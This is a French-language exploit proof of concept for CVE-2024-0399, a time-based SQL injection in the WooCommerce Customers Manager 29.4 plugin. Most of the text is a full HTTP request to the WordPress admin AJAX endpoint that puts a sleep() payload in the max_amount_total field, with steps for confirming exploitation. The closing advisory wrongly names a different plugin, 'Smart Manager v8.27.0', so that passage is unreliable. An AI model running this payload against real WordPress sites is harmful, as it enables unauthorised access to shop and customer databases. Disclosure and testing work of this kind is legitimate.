
Preuve de concept d'exploitation pour CVE-2024-0399, une injection SQL temporelle post-authentification dans WooCommerce Customers Manager 29.4, ciblant les paramètres de montant de transaction via le point de terminaison AJAX d'administration.
Titre de l'exploit : WooCommerce Customers Manager 29.4 - Injection SQL post-authentification
Date : 2024-03-25
Auteur de l'exploit : Ivan Spiridonov - xbz0n
Lien du logiciel : https://codecanyon.net/item/woocommerce-customers-manager/10965432
Version : 29.4
Testé sur : Ubuntu 22.04
CVE : CVE-2024-0399
Le plugin ne nettoie et n'échappe pas correctement un paramètre avant de l'utiliser dans une requête SQL, conduisant à une injection SQL exploitable par le rôle Abonné (Subscriber+).
La vulnérabilité se situe dans les paramètres de montant de transaction tels que 'max_amount', 'max_amount_total', 'min_amount' et 'min_amount_total' utilisés dans le point de terminaison AJAX d'administration. En injectant des commandes SQL dans ces paramètres, des attaquants authentifiés peuvent manipuler les requêtes SQL, conduisant à une vulnérabilité d'injection SQL basée sur le temps.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
Si la réponse du serveur est retardée d'environ 20 secondes, cela indique une exploitation réussie de l'injection SQL basée sur le temps, confirmant la vulnérabilité.
Les utilisateurs de WooCommerce Customers Manager v29.4 sont fortement invités à restreindre l'accès au point de terminaison concerné et à mettre à jour le plugin dès qu'une version corrigée est publiée. Cet avis sert de notification à tous les utilisateurs de Smart Manager v8.27.0 pour qu'ils mettent immédiatement à jour leur plugin afin de se protéger contre cette vulnérabilité d'injection SQL.